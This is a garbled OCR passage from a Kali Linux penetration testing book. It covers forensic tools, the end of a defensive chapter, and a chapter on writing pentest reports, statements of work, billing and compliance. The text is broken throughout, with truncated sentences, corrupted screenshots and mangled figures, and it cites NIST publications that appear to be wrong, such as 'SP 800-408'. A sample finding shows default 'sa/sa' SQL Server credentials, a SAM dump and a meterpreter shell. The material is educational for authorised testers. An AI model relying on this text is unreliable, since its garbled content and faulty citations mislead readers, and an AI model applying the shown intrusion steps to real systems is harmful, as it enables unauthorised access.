d ‘d last/ 1031 100 2038

Kile Name Search -/ r.’r Ik t n7

KiiNn .ii ..i • i
f<*r IIN fik name'you want to d • d
... J

d!d jJ.

SEARCH
d/d bin/

Ai i.Ori rrrn Fn FS
Kilt Browsing Mode

EXPAND DIRECTORIES

In this mode, you can select a file nr directory
File contents will be shown in this window

More filedetails can he found using the Metadata link at the end of the list ion the right).
VIXI L,W .TJHI Mm the file' i>'ing ilic cukwtin leaders

root@kali:~/Desktop# Is
A066PC FW_WRT54Gv8.2_8.2.08.001_US_20091005.bin l0ie
rootflka li:-/Desktop# binwalk FW_WRT54Gv8.2_8 .2 .08.001_U5_20091O05.bin|www.freepdf-books.com
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renamed it to make it appear like it was coming from a different vendor (FW_WRT54G 

Sercom firmware

pdf-parser
pdf-parser is used to parse and analyze Portable Document Format (PDF) 
documents, as well as extract raw information such as code, images, and other 
elements from PDF documents. It is a tool used to examine and deconstruct PDF 

Foremost
Foremost is a data carving utility used to recover 

generated by dd, 

types. These built-in types look at the data structures 
for a more reliable and faster recovery.

Pasco
Pasco is a forensic tool for reading the index.dat
Internet Explorer. The Internet Explorer index.dat
history, which can be useful for an investigation of a host. Microsoft stores the 
index.dat
some index.dat

 

Pasco only works for Internet Explorer. Other browsers like Firefox and 

The location of the database varies from operating system to operating 

http://itbookshub.com

HEX DESCRIPTIONDECIMAL

CFE boot loader, little endian
Broadcoa 96345 firmware header, header size: 256, firmware version: '8*. board id: *634884-18*,
-CRC32 header checks*: 8x7FBD17C6, -CRC32 data checks*: 6xF440BF79
Squashfs filesystea, big endian, version 2.6, size: 2623358 bytes, 426 inodes, blocksize: 65536
bytes, created: Thu Sep 17 18:67:36 2869
Scrcoam firmware signature, version control: 6. download control: 8, hardware ID: ‘D6834GT", hardware
version: 8x4166, flraware version: 6x16, starting code segaent: 8x8, code size: 6x7368

1288 6x588
6x1666865536

6x1616665792

3426366 6x34483E

%
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Scalpel

footer signatures, and 
scalpel.conf  

prior to launching it against a database.

bulk_extractor
bulk_extractor can extract a variety of things from an image, including credit card 
numbers, phone numbers, URLs, and emails. bulk_extractor can also generate 
wordlists from an image that could be used in dictionary attacks. bulk_extractor  
can take several hours to run, but the data that is extracted is well worth the wait  
for use in forensics.

Summary
It is critical that security is considered during the entire lifecycle of any resources 
that are important to business operations. Our goal for writing this book beyond 
supporting a Penetration Tester is educating readers on various methods; malicious 
users can compromise a resource, so administrators can improve their security 
defenses. Everybody is a target, and it is up to the asset owner to invest the proper 
time and resources into reducing the risk of being compromised.

This chapter serves as a means to defend against attacks presented in previous 
chapters. It should be assumed that tools used in previous chapters could be 
leveraged to verify vulnerabilities on your own systems. Topics covered in this 
chapter included how to clone a web application to avoid testing live systems, 
baseline security standards, and defending against topics from previous chapters. 
Those topics include passwords, man-in-the-middle attacks, SSL striping, DoS, 
stealing cookies, and clickjacking. This chapter also included a dedicated section  
on using Kali Linux for forensic investigations.

The next chapter will cover best practices for delivering Penetration Testing  
services, including methods for developing professional customer deliverables.
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Penetration Test  
Executive Report

Before we get started, we want to point out this chapter touches on subjects of 
writing reports, clauses, and agreements. These examples should be used as general 
guidelines. In no way are we advocating having knowledge or techniques that could 

and being fans of Boston Legal, we are no Denny Crane. We recommend when you 
get serious about developing scopes, agreements, and reports, you seek professional 
legal help.

Network engineers install networks, programmers create applications, and auditors 
write. As a network Penetration Tester, you are by default an auditor. Unlike a 

create an application, your value will be based on your writing. In other words, learn 
how to write. There is a science and art associated with writing. If you are trying to 

The Modern Language 
Association of America Style, or better known as MLA. MLA is an easy to use 
writing style, used by most high schools as a writing standard. H. Ramsey Fowler 
and Jane E. Aaron reference guide, titled The Little, Brown Handbook, is an excellent 
reference guide on how to properly use MLA styles when writing. As a Penetration 
Tester, and ultimately as an auditor, the value you provide will be judged on how 

is why we highly recommend having your report reviewed with individuals not 
related to your project to provide an outsider perspective. This may include having 
reviewers that are not technical.
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for future business. Once you get familiar with a writing style, there are more 

CoBIT and ITIL. Ultimately, the theme of your report will follow the accepted 
standards of corporate governance for the organization you are auditing. Also keep 
in mind that a penetration report will be seen by many people, and referred to for a 
much longer period of time than you probably intended.

Customers want to know how vulnerable they are, and requirements to patch gaps 
so that they reduce their overall security risk from attack. Formatting and tone of 
a report can cause a positive or negative reaction to data. Jobs can be terminated 
over being linked to a vulnerability. On contrary, a critical gap in security could be 

needed. The best service providers can balance business and technical competencies 

leadership and technical staff.

A good starting point is looking at what regulations, standards, and mandates are 
important to your customer. Mixing customer requested requirements with industry 

models used to charge for delivery services. After that, we will focus on the different 
types of document formatting for executive reports so you can leave the proper 
impression post service engagement. This chapter will conclude with some example 
reports and cover the remaining reporting tools available in Kali Linux.

Compliance
Customers have limited budgets and typically, security is not a top spending 
objective regarding proactive purchasing. In our experience, customers will spend 
money on other technology areas until something bad happens causing reactive 
spending. It becomes even more challenging to offer services that evaluate existing 
security such as a Penetration Test when many customers have enough trouble 
maintaining existing gear as well as keeping up with the latest technology. A simple 
analogy is when most people purchase a laptop, they look at what software to install 
for functionality rather than defense (that is, purchasing Microsoft Word rather 
than an Antivirus). When that same laptop becomes infected, users stop thinking 
about functional software and prioritize obtaining security software to remove the 
malicious application.
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One method to elevate your services to the top of the purchasing priority list is 
aligning with business mandates. Customers are more prone to purchase services 
meeting business obligations, making the investment conversation easier to justify. 
Many industry mandates have severe repercussions for failing audits that range 

is a strong option to justify procuring your services.

Terms that are important regarding industry compliance are as follows:

Baselines: They are used to create a minimum level of security necessary to 

adapted to meet those requirements. You can use baselines as an abstraction 
to develop standards.
Standards: They are mandatory requirements that support higher-level 

brand, product, and protocol. An example is creating a standard for 802.1x 
using Cisco Identity Services Engine from a baseline of having to have a form 
of automated access control.
Guidelines: They are recommendations rather than required. Consider 
guidelines similar to standards; however, nothing forces people to follow 

Industry standards
There are many important industry standards that your customers are mandated to 
follow. The following list is commonly used to justify procurement of funding for 
products and services:

Health Insurance Portability and Accountability Act (HIPAA): It requires 
that proper controls are put in place to ensure health care transactions 
and administrative 

civil liability and brand damage could result from not meeting HIPPA 
requirements.

Standards ( ): They are U.S. computer 
security standards developed to protect information transmitted by 
government agencies and contractors.
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Management Act ( ) / National 
Institute of Standards and Technology (NIST): The FISMA and NIST special 
publications 800-153 and 800-137 provide a comprehensive framework for 
ensuring the effectiveness of information security controls over resources 
that support federal operations and assets.
North American Electric  ( ): It has developed 
mandatory Infrastructure Protection ( ), cyber security standards 
to protect the Critical Cyber Assets that control or affect the reliability of 
North American bulk electric systems. Approved by the 

 ( ), compliance with these standards is 
mandatory for all organizations involved with the country's bulk electrical 
network.

Security Standard ( ) and Payment 
Application Data Security Standard (PA-DSS): These are the standards for 
organizations that handle cardholder information for the major debit, credit, 
prepaid, e-purse, ATM, and POS cards.

 ( ): It mandates 
disclosures from corporations and prevent accounting fraud.

Professional services
The most common strategies to bill customers for services are Turnkey and Time and 
Material. Turnkey means all services have a set cost that can only adjust if services 

Turnkey engagement require a separate request for change that the customer must 
accept prior to including additional billing.

Turnkey services put 
cost does not adjust regardless the amount of labor required to meet the scope of 
work. This means the service provider has an opportunity to complete tasks under 

scope of work for proposed services with some additional padding hours used for 
unforeseen incidents.
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Customers tend to lean towards Turnkey services based on the ability to plan 
for expected costs. Customers can focus on achieving the results expected from 
requested services and hold service providers responsible when tasks are not 
completed without incurring additional labor costs. Large organizations like the US 
federal government are known to request for Turnkey services in formal Requests 
for Pricing ( ) public postings. In most situations, there are guidelines written 

on factors such as best value, price, and meeting required items. We have seen RFPs 

some cases, the bad services cause more problems and cost multiple times higher 
to remediate than the previous best value offering. To help customers avoid this 

value and cost as an awarding metric.

The other common billing method for services is Time and Materials. Time and 
Materials proposals charge for hours used. Typically, service providers will list 
different hourly rates for billing categories, such as Project Manager could be 100 
dollars an hour, but a Senior Engineer is 200 dollars an hour. It is common for 
services to be broken into task orders with expected hours to help the customer 
prepare for expected charges as the project proceeds.

Time and Materials puts the risk of high cost services on the customer, because 

they may be able to spend less if they can own part of the work, as well as avoid the 
common extra padding hours charged with a Turnkey proposal. The downside for 

delay completion.

As a professional service provider, it is recommended to aim for developing a 

proper expectations with clients to avoid under scoping expected services. In our 
experience, customers do not have blank checkbooks for services, and desire a set 
cost prior to requesting for budget.

Periodically, customers may request to replace billable members with their 
staff to reduce the overall project cost. For example, a customer may ask to 
use an internal Project Manager for planning. This introduces the risk of 
not properly managing resources, which could lead to problems and cause 

that is not directly part of your organization.
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Documentation
Developing a deliverable can be broken into a few stages, as shown in the following 

Project Review. This is where the service provider reviews 
the statement of work, customer business objectives, areas of concern, and proposed 

report template.

during the Information Collection stage. 

Once all data is captured and aligned with the template, the third phase is preparing 
a First Draft. This draft will not be customer facing and contain as much data as 
possible. Last is the Review phase, used to slim down the report to the strongest data 
along with tuning to meet business demands in a professional manner. Best practice 
is having both a technical and professional writer edit the draft to make sure it 
addresses both executive and technical staff requirements.

Project
Review

Information
Collection First Draft

Review and
finalization

A scope of work should always account for hours needed to create 
documentation. Typically 60 percent of the report writing time will be 
used for the draft, and document review and project sign off will use the 
remaining hours. Make sure to calculate the document lifecycle into your 
project timeline to avoid lost revenue.

Report format
Regardless of the project type, there are certain items that should be included 
in service deliverable documents. All documents should explain their purpose, 
advertise your brand, identify parties involved, list work that was performed, and 
conclude with an expected result. This section will provide some pointers and 
examples for meeting formatting goals in a professional manner.
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Cover page
A cover page at a minimal will provide a report name, version, date, author, service 
provider name, and intended party. Cover pages can also list additional items such 

The information obtained during the majority of penetration services will be 
sensitive. It is critical to identify the level of security expected to protect information 
captured during the engagement, as well as name who is permitted to view such 
data. Certain levels of clearance may require special handling or secured locations 
for storage such as a  ( ) for 

legal repercussions.

the document, who is authorized to view it, what is and what is not permitted to 
be copied, distribution rights, and other legal language. We recommend having 

Statement.

PROVIDER. The information is intended for the private use of CUSTOMER for their 
understanding of the current state of security of their organization. By accepting 
this document, CUSTOMER agrees to keep the contents of this document in 

that will provide services and/or products directly to CUSTOMER as a result of 
the recommendations of this document, without written request to and written 

aware that any disclosure, copying, or distribution of this document or its parts is 
prohibited. 

deliverable of this consulting engagement. The sole purpose of this document is to 
provide CUSTOMER with the results and recommendations from this engagement. 
Each recipient agrees that they will follow the distribution restrictions according to 
the agreement between this consulting agent and SERVICE PROVIDER.
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Document control
It is important to list what version and edits are made to a delivery proposal. 
Most likely, many people with a variety of skillsets will be reviewing a document. 

latest version.

Document History

Version Date Author(s) Comments

Created

Reviewed

ReviewedJeff Mills

Mark Farina

Josh Wink5/1/13

5/10/13

5/24/13

1

2

3

Timeline
Timelines provide an estimate of hours for each phase of a project. Timelines should 
include the phase name, tasks to be completed, and expected duration for that phase. 
Typically, the duration is displayed in billable hours so the client can estimate the 
cost for each phase of the project. It is recommended to include language for which 
phases are mandatory to avoid requests to remove critical phases such as the project 
kickoff.

Following is an estimated timeline and high-level implementation plan:

Service Rrovider will begin this engagement starting two weeks after receiving the 
signed statement of work ( ), and customer purchase order subject to resource 
availability. If the Customer requests an expedited engagement start date, this must 
be negotiated with Service Provider, Project Management, and Account Team.

The project launch phase and remediation presentation phases are mandatory phases 
for all other phases.
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Engagement Phase

Project Kickoff Meeting

Network Assessment

Remediation Presentation

Statement of Work review.
Deliverable configuration. Business
and technical Q+A, Boundry review.
Pre-requists

Tool prep and installation.
Footprinting, policy review,
mapping.

Scan for device. Review existing
network infrastructure

Identify system that can be
exploited and execute pen test on
target systems.

Report analysis, recommendations
and presentations

Project close out

8 Hours

16 Hours

32 Hours

32 Hours

16 Hours

6 Hours

2 Hours

Task (High Level) Estimated Duration

Penetration Testing

Present finding and security impact
analysis including recommendations

Executive summary
The goal of an Executive report is providing a high-level overview of why services 
were performed. Executive summaries should cover what led up to the issue being 
addressed, the problematic situation, and proposed solution with expected results. 
Executive reports don't require technical details and should target leadership rather 
than technical staff.

Example 1: Executive Summary

Background:

CUSTOMER engaged SERVICE PROVIDER to conduct a vulnerability assessment 
and Penetration Test of its systems. The purpose of the engagement was to assess the 

in them by utilizing SERVICE PROVIDER's proven testing methodology. The project 
was conducted on a number of systems on CUSTOMER's network segments by a 
team of SERVICE PROVIDER experts during DATE OF ENGAGEMENT.
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This project included Penetration Testing nine (9) internal hosts. For the testing, 
SERVICE PROVIDER focused on the following:

Attempt to determine what system-level vulnerabilities could be discovered 

administrators.

that may be stored on systems.

All tests took into consideration the actual business processes implemented by the 

realistic picture of the actual exposure levels to online hackers.

This document contains the results of that assessment.

Project Information:

The primary goal of this assessment was to provide an analysis of security  

was conducted to identify possible vulnerabilities and provide actionable 
recommendations on remediating the vulnerabilities to provide a greater  
level of security for the environment.

SERVICE PROVIDER used its proven Penetration Testing methodology to  

Example 2: Executive Summary

SERVICE PROVIDER engaged CUSTOMER to conduct a Network Penetration 

of this engagement was to identify and prioritize the security vulnerabilities on the 

four (4) days of testing, analysis, and documentation.

Methodology
It is highly recommended to provide an overview of how you deliver services. 
Highlights should include your process for each phase of an engagement, tools 
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International 
Standards (

the  ( ) and  (GPEN), which 
help qualify the resources being contracted.

For Example: Methodology

SERVICE PROVIDER used custom and publicly available tools to gain perspective of 
the network's security posture from a hacker's point of view. These methods provide 
CUSTOMER with an understanding of the risks that threaten its information, and 
also the strengths and weaknesses of its current controls protecting those systems. 

using publicly available information, mapping the network architecture, identifying 
hosts and services, enumerating network and system level vulnerabilities, 
discovering unexpected hosts within the environment, and eliminating false 
positives that might have arisen from scanning.

Penetration Testing
Methodology

DISCOVERY

ASSESSMENT

SECURE

REMEDIATE

Mapping Targets

Audit Targets

Evaluate and
Educate

Lockdown
Targets
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Detailed testing procedures
This section covers details from the service engagement. The target audience is 
typically the technical staff, and the goal is to provide as much information as 

highlighted item and repeat the steps used to validate the vulnerability, meaning 
they want to know how things are discovered, accessed, and exploited. This data 

addressed by the service provider.

Typically, subjects to include are targets discovery, mapping, vulnerability 
assessment, architecture analysis, exploiting, and reporting. How far a service 

of the engagement.

For example,

SERVICE PROVIDER was able to access the Legacy EMR host using the default 

be able to disrupt all business processes that rely on this host.

SERVICE PROVIDER was also able to use the Server Message Block (SMB) Null 
User account to enumerate user account names and groups from the Domain Name 
Server (DNS). An attacker could use this information for targeted phishing attacks 
on CUSTOMER employees or to conduct brute force password guessing attacks. 
An attacker who gains administrative credentials successfully to create other user 
accounts and assign them to target business roles could use user group information.

Vulnerability assessment and Penetration Testing summary:

CUSTOMER provided SERVICE PROVIDER with the eight (8) IP addresses are listed 
in the following table. This range was scanned to determine open ports and services 
running on the related hosts.
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80

IP Address Hostname TCP Ports

192.168.10.20

192.168.10.23

192.168.10.154

192.168.10.204

172.18.10.100

172.18.10.101

172.18.10.105

172.18.10.200

SERV001

SERV542

SERV239

SERV777

SERVSQL123

SERVSQL124

database.intern.com

corp.com

135,139,445,1433,3300

135,139,445,1433,3389

80,135,139,445,1443

135,139,445,1433,1434,3372,3389,5022,
8400,8402

135,139,445,1433,1434,3372,3389,5022,
8400,8402

80,443

42,53,88,135,139,445,464,53,636,1025,1
071,1075,1145

How these results are formatted will determine your customer's reaction, so be 
aware of not only what is said, but also how data is presented.

Best practice is including a risk ranking to help customers understand how to react 

charts, color schemes, and so on. We recommend including both a summary chart 

issue to further validate your claim. Public sources could be violations in compliance, 
not meeting a mandated standard or explanation of a known vulnerability from a 
reputable source.

Example:

: Immediate threat to key business processes
High: Indirect threat to key business processes / threat to secondary  
business processes
Medium: Indirect / partial threat to business processes
Low: No direct threat exists; vulnerability may be leverage with other 
vulnerabilities
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systems is Critical during the testing, a total of one (1) , two (2) Medium, and 
two (2) Low

Vulnerability

Scan Type Total
Hosts
Ports

9
TCP, UDP, 1-65535

1 (unique:1)
2 (unique:2)
2 (unique:2)

Critical
Medium

Low

Vulnerability A
Vulnerability B
Vulnerability C
Vulnerability D
Vulnerability E

Severity

Medium

Low

Vulnerability Severity Total
Critical
Medium
Low

Summery table for assessment findings

Unique

found, but three are Unique, than some of the vulnerabilities are 
present on more than one system.

Vulnerabilities
Vulnerabilities found should include a clear description about the source of the 
weakness, impact to business operations and likelihood of being exploited. Reports 

during a scan. Vulnerabilities in a customer's architecture could include a diagram 

recommendation.

are as follows:

Vulnerability name
Business criticality
Vulnerability description
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Technical details
Affected systems
Affected ports
Recommended action

 

http://itbookshub.com

Vulnerability Name Microsoft SQL Server with Default Credentials

CriticalBusiness Criticality

Vulnerability Description

The Microsoft SQL Server associated with the Legacy EMR database is accessible using

the default credentials "sa/sa". An attacker can leverage these SQL credentials to gain

control over the underlying operating system. This access includes the uploading and
downloading of files, the ability to create/read/write/delete files on the host, and to

create local user accounts

Technical Details
SERVICE PROVIDER performed a vulnerability scan on host 100.25.5.55 and discovered

that the MS SQL System administrator (sa) account still had its default password ”sa"
active. The screenshot below shows that SERVICE PROVIDER used thse credentials to

access the host.
_

> ipconfig

VMware Accelerated APD PCNet Adapter
Hardware MAC: I
IP Address
Netmask

1
255.255.255.0

SERVICE PROVIDER proceeded to dump the contents of the SAM database. This

database Is used by Windows NT to store and retrieve user credentials. With this
information, we could run a rainbow tables or brute-force attack to decipher the
passwords to all of these accounts. If any of these passwords were the same for other
systems, we could then hop to other systems and compromise them as well. In order to

validate that files could be perused by an attacker, SERVICE PROVIDER confirmed that it

could open a directory shell to the host.

meterpreter > shell
Process 7924 created.
Channel 1 created.
Microsoft Windows (Version 5.2
(C) Copyright 1985-2663 Microsoft Corp.

C:\WIND0MS\systea32>whoami

whoani

I

C:\WINDOWS\Syster32:'|
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systems to show additional value. For example, there is a mandate that all US 
federal agencies have equipment capable of supporting IPv6. Not having this isn't 
necessarily a vulnerability; however, something a US federal customer would be 
interested in knowing. Another example would be supporting future technologies, 
such as capabilities for Voice over IP (VoIP), and video.

Following is a suggested list for items to include in Penetration Testing services to 
show additional value:

Best practice deviation
Support for IPv6
End of sale or end of life devices
Support for capabilities required for VoIP and video
Compliance to common standards such as FISMA, PCI
List of serial numbers, IP address, MAC, and so on of devices found
Network topology
Available protocols and public facing data

Network considerations and 
recommendations
This section explains recommendations to remediate items found from services 
provided. Recommendations can range from high-level suggestions, such as "patch 
this system", to very detailed steps to close a vulnerability. Some remediation steps 

which also cripples another system that utilizes that channel for communication. It 
is important to include warnings of possible negative impact with any suggested 

you would want is a customer being compromised post services and point blame 

during your services.
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It is very important to state in a deliverable report what guarantees 
or coverages are included post services. Customers that fail an audit 
may assume your previous services are liable if you do not state your 

For example, there is a huge difference between having a PCI report 
included with services, compared to actually contracting a PCI expert 
in reviewing all aspects of the regulation with the customer's network, 
in a similar method used by auditors.

There are many levels of remediation. Sometimes how the network in architecture 

high-level and detailed recommendations for remediation, other useful data 
outside of requested items, such as IPv6 capabilities, changes in network design, 
recommendations for hardware, software, patches, and compliance summary.

Example:

We commend CUSTOMER for being proactive in managing technology risk and 
network security through procuring our services. Due to the impact to the overall 
organization as uncovered by this Penetration test, appropriate resources are 
recommended to be allocated to ensure that remediation efforts are accomplished 
in a timely manner. Although a comprehensive list of items that should be 
implemented is beyond the scope of this engagement, some high level items are 
important to mention.

Implement a patch management program
could be avoided with proper patch management. We recommend following 
the guidelines outlined in NIST SP 800-408 as a source for developing 
security policies for proper patch management. This will reduce the risk of 
running vulnerable systems.
Enforce change control across all systems: Common vulnerabilities are 

through a strong change and control process on all active systems
Leverage multifactor and role-based access control: Some critical systems 
were found leveraging password security as the only means of validating 
authorized individuals. Best practice is having at least two forms of 
authentication, along with limiting administration account access.
Restrict access to critical systems: Critical systems should be isolated from 
other systems using whitelists, ACLs, VLANs and other means. The design 
concept of least privilege will limit the amount of damage an attacker can 

guidelines on achieving a security baseline for IT systems.
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: Vulnerability assessments 
should be conducted on a regular basis as a means to validate the current 
state of risk to the organization. Consult NIST SP 800-309 for guidelines on 
operating an effective risk management program.
Include High Availability for critical systems and networks: During our 
assessment, we found single points of failure for mission-critical systems. 
Best practice is developing failover options in the event of network failure. 

redundant systems to the data center network as shown below.

Data Center

Additional High Availability Equipment

Servers

Switch

VRRP

NAT
Firewall

Servers

Switch
VRRP

NAT
Firewall

VRRP

VRRP

Appendices
An appendix lists additional information related to the deliverable report typically 

reference purposes and could contain 
results from scanning, captured screenshots, and other information.

Example:

Appendix 001- Nessus Vulnerability Scanning Reports

<Captured Nessus Report Printout>

Glossary
meaning of terms used in the proposal. This could 
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Statement of Work (SOW)
Before you offer Penetration services, you may need to write a Statement of Work 

you would want to complete with your stakeholders before starting a project.

When writing a SOW, we recommend you follow a format that will ultimately 
represent your reporting structure. The basic format of a Statement of Work 
documents include the following:

Executive report: A high-level summary of the work you are doing, what 
you hope to accomplish, and your target audience..

Example of SOW executive summary is as follows:

The SERVICE PROVIDER is pleased to present the CUSTOMER with our 
methodology for conducting a security assessment. The principal objective of 
CUSTOMER for initiating this engagement is to evaluate the current level of risk  
and exposure adequately within the organization with a focused view to develop 
and/or implement solutions that will help reduce critical threats and ultimately 
mitigate relevant risk.

In response to the needs of CUSTOMER, SERVICE PROVIDER has outlined an 
effective security assessment strategy that has proven to be very successful in 
elevating the security posture in many similar organizations. Our approach begins 
with understanding the business requirements associated with the assessment, 
followed by a detailed topology mapping and base-lining of the existing 

infrastructure, we begin a systematic vulnerability assessment of critical systems and 
network devices to identify threat vectors that may be behavioral in nature. A careful 
exploitation method is then reviewed and executed to identify the relevance of 
vulnerabilities that have been detected. Techniques such as Penetration Testing and 
social engineering may be employed during this phase. Lastly, we undergo weekly 

for the week and communicate key goals and objectives for the upcoming weeks. 
This provides CUSTOMER an opportunity to inform our engineers of any system 
upgrades in progress that require special consideration. SERVICE PROVIDER 
provides credible project management expertise to ensure operational excellence and 
a superior customer experience in all our engagements and this is no exception.

SERVICE PROVIDER recognizes a consistent business need to assess and improve the 
security posture of an organization continually, and we believe that this engagement 
will help in reducing operational expenses from minimized risks and downtime while 
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Furthermore, the insight gained from such an exercise is crucial in planning for 

are consistent and well aligned with the CUSTOMER's objectives listed as follows:

Gain a better understanding of potential CUSTOMER network vulnerabilities 
and security risks
Determine critical security architecture weakness within the CUSTOMER 
infrastructure
Evaluate the security associated with the CUSTOMER website and  
external-facing applications

Activity report: A report of all executed exploits (available in three  
levels of detail).
Host report: Detailed host information, including the number of 
compromised computers, the average number of vulnerabilities  
exploited on each computer, and the CVE names of vulnerabilities  
found on each computer.
Vulnerability report: A detailed report of successfully exploited, versus 
potential, vulnerabilities on each computer.

: A full audit trail of each client-side 
Penetration Testing, including the email template sent, exploit launched,  
test results (success or failure), and details about compromised systems.
User report: A client-side testing report of which links were clicked, when 
they were clicked, and by whom.

External Penetration Testing
Special consideration should to be given to Penetration Testing from external 

will stop testing or what circumstances are beyond scope. In other words, the SOW 
gives you a stopping point.

The next example shows an external Penetration Testing summary. It includes a 
quick overview of the testing process, followed by an outline with step-by-step 
instructions of the work that will be performed. This example also outlines the  
client and application owner's responsibility.

External web test SOW example:
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The central objective of our external and web Penetration Testing effort is to exploit 
the inherent security weaknesses of the network perimeter, web domain, and web 
application delivery. Adjacent application delivery elements, including backend 
databases and middleware, are also included in this domain and are evaluated 
as well. Common vulnerabilities and exploits that we focus on during this phase 

Our engineers may also engage in a manual navigation of the web domain to 
extract other pieces of sensitive and critical data. Furthermore, as requested by the 
CUSTOMER, devices in the DMZ will also be included in this Penetration Testing 
exercise in an attempt to logically break down the defenses surrounding the web 
application domain.

Detailed testing procedures:

SERVICE PROVIDER will complete the following testing procedures for the web 
application domain:

Identify the servers to be tested, based on the customer's web site, and crawl 
a website to harvest addresses published on the site.
Leverage major search engines to locate addresses for a given domain.
Find addresses in PGP and WHOIS databases.
Launch multiple, simultaneous attacks to speed the Penetration Testing 
process.
Interact with compromised machines via discrete agents that are installed 
only in system memory.
Run local exploits to attack machines internally, rather than from across the 
network.
Analyze custom, customized, and out-of-the-box web applications for 
security weaknesses.
Validate security exposures using dynamically generated exploits, emulating 
a hacker trying various attack paths and methods.
Demonstrate the consequences of an attack by interacting with web server 

Perform Penetration Tests without corrupting web applications or running 
code on targeted servers.

Customer responsibilities are as follows:

Identify the web domain's for which web assessment will be performed. 
Communicate service maintenance and/or impacts during Penetration Tests.
Ensure web accessibility to domains and perimeter devices in scope if not 
publicly available.
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Additional SOW material
Other areas to consider when writing a scope of work should be considered. Some of 
the common content recommended to include are as follow:

Legal and testing release: Usually this is preapproved verbiage from lawyers 
excluding the application owners from holding the service provider liable for 
any damages caused by the Penetration Test.
Methodology and approach: This is how you plan to conduct the Penetration 
Test (rules of engagement), how the customer receives updates, timelines, 
and how the customer can provide input. The following diagram provides an 
example of a SOW methodology:

Mapping
and

Discovery

Security Policies
Standards

and
Best Practices

Baseline

Remediation Evaluate and
Educate

Security
weaknesses

Audit and
Assess

Risk
Exposure

Lockdown
and

Secure

Price: How long will the work take to complete and how much will it cost. 
This can be broken down into project phases and should include notation 
when expected hours could potentially exceed projected pricing.
Expectations and responsibilities: What the service provider and customer 
are assigned during the project lifecycle. There should be notations when 
steps required by either the service provider or customer is a prerequisite to a 
future stage of the project.
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: Customers typically verify credentials held by the 
staff conducting audits as well as what tools might be used to complete 
tasks. Providing this information in a SOW adds a degree of credibility 
and professionalism. Providing the potential toolset upfront also reduces 
the likelihood of the customer having a negative reaction when a negative 
impact occurs due to the use of a tool.

The following example shows a table that highlights a sample Penetration Rester's 
expertise along with tools that will be used:

Certifications and Credentials Testing Tools

ISC2 Certified Information Security Professional (CISSP)
International Council of E-Commerce Consultants (CEH)
Information Systems Audit and Control Association (ISACA)
Certified Information Systems Auditor (CISA)
RSA Authentication Manager v8.0
RSA DLP Suite Certified Systems Engineer (CSE)
RSA SecurID Choice/Product
Cisco Certified Internetwork Expert (CCIE-RS, Security, Voice, 
Storage, SP)
SAINT Certified Engineers
Qualys Certified Engineers
Cisco Advanced Wireless Design Specialist
PMI's Project Management Professional (PMP)
Cisco Advanced Security Field Specialist
Cisco Advanced Wireless Field Specialist
Cisco Master Security Specialized Partner

Kali Linix
Backtrack 5 RC3
AirSnort
AirCrack
Airsnarf
Airmagnet
Core Impact
Saint
Rapid 7
Qualys
Metasploit
Palisade
eEye Retina
Threat Guard

It is important to address concerns you believe may arise upfront. Our 
colleague and friend Willie Rademaker has a famous saying, "Always 

". In other words, avoid having surprises when 
a project is being scoped. If you believe there might be a point of 
contention, address it head on. Surprises are for birthdays…not business.
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Kali reporting tools
Kali Linux includes a small selection of reporting tools that can be used for 
organizing how a team captures information, as well as some encryption utilities. 

testing practice.

Dradis
Dradis is an open source framework for information sharing. Dradis provides a 
centralized repository of information to keep track of what has been done and 
still needs to be completed. Dradis can collect information from team members, 

vulnerability lists.

To open Dradis, navigate to Reporting Tools | Documentation and select Dradis. 
Dradis is accessed using a standard Internet browser, simplifying collaboration 
between groups of people. To start a session, select New Project for the Meta-Server 
and provide a password that will be shared between team members.

To login, create a name and provide a password. This will put you in the main 
dashboard. Check out the wizards and demo videos to learn more about using 
Dradis in your services.

http://itbookshub.com

J »

•welcome to dradis

Server password
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Password f"

Confirm Password

Meta-Server
You can create a new project or checkout one from the Meta-Server:

New project ®
Checkout project O

Initialize
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KeepNote
KeepNote is a note-taking application. You can store many note types and quickly 
view everything using a notebook hierarchy with rich text and image formatting. 
KeepNote can be found under Reporting Tools | Documentation and selecting 
KeepNote.

Maltego CaseFile

CaseFile is a visual intelligence application used to determine the relationships and 
real world links between hundreds of different types of information. This makes 
information gathering and analyzing relationships easy for investigations.

MagicTree
MagicTree is a Penetration Tester productivity tool designed for data consolidation, 
querying, external command execution, and report generation. Information is stored 
in a tree structure, making it easy to identify results from previous exercises and 
format for reporting purposes.
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CutyCapt
CutyCapt is used to capture Webkit's web page rendering into a variety of bitmap 
and vector formats which include SVG, PDF, PS, PNG, JPEG, TIFF, BMP, and GIF.

Sample reports
Following are example reports you can use as templates for building deliverables for 
your customers:

Penetration Testing report for CUSTOMER from SERVICE PROVIDER:

This document contains information from SERVICE PROVIDER that is 

use of CUSTOMER. By accepting this document you agree to keep the 

If you are not the intended recipient, be aware that any disclosure, 
copying, or distribution of the contents of this document is prohibited.

Document details:

Company: CUSTOMER

Document: Penetration Testing report

Date:

Recipient: Company, name, title

Document history:

Date: Version, author, comments

1.0 Draft

2.0 Review

Contents:

1 Executive Summary ................................................................ 4

1.1 Summary ............................................................................. 4

1.1.1 Approach .......................................................................... 4
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1.2 Scope ................................................................................. 5

1.3.1 Vulnerability A ................................................................... 6

1.3.2 Vulnerability B ................................................................... 6

1.3.3 Vulnerability C.................................................................... 7

1.4 Recomendations ................................................................ 8

1.5 Summary ............................................................................ 10

2 Technical report ................................................................. 12

2.1 Network security ............................................................... 12

2.1.1 ITEM 1 ................................................................... 12

2.1.2 ITEM 2 ................................................................... 14

2.2 Web application vulnerabilities ............................................ 16

3 Conclusion ........................................................................ 21

Appendix ............................................................................... 22

Executive Summary

1.1 Summary

<domain>, to SERVICE PROVIDER.

This Penetration Test was performed during <Date>. The detailed report about each 

The tests are carried out assuming the identity of an attacker or a user with malicious 
intent.

1.1.1 Approach

Perform broad scans to identify potential areas of exposure and services that 
may act as entry points.
Perform targeted scans and investigation to validate vulnerabilities found 
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Identify and validate vulnerabilities.
Rank vulnerabilities based on threat level, loss potential, and likelihood of 
exploitation.
Perform research and development activities to support analysis. Identify 
issues of immediate consequence and recommend solutions.
Provide recommendations to enhance security.
Transfer knowledge.

During the network level security checks, we attempted to probe ports present on 
various servers and detect services running with the existing security holes, if any. 

errors in the web application itself.

1.2 Scope

The scope of this Penetration Test was limited to the following IP addresses.

<IP address list>

<IP address list>

<IP address list>

This section provides a summary of the critical issues discovered during the 
Penetration Testing engagement.

1.3.1 Vulnerability A

Explanation of vulnerability found.

Recommendation to remediate vulnerability.

1.3.2 Vulnerability B

Explanation of vulnerability found.

Recommendation to remediate vulnerability.

1.3.3 Vulnerability C

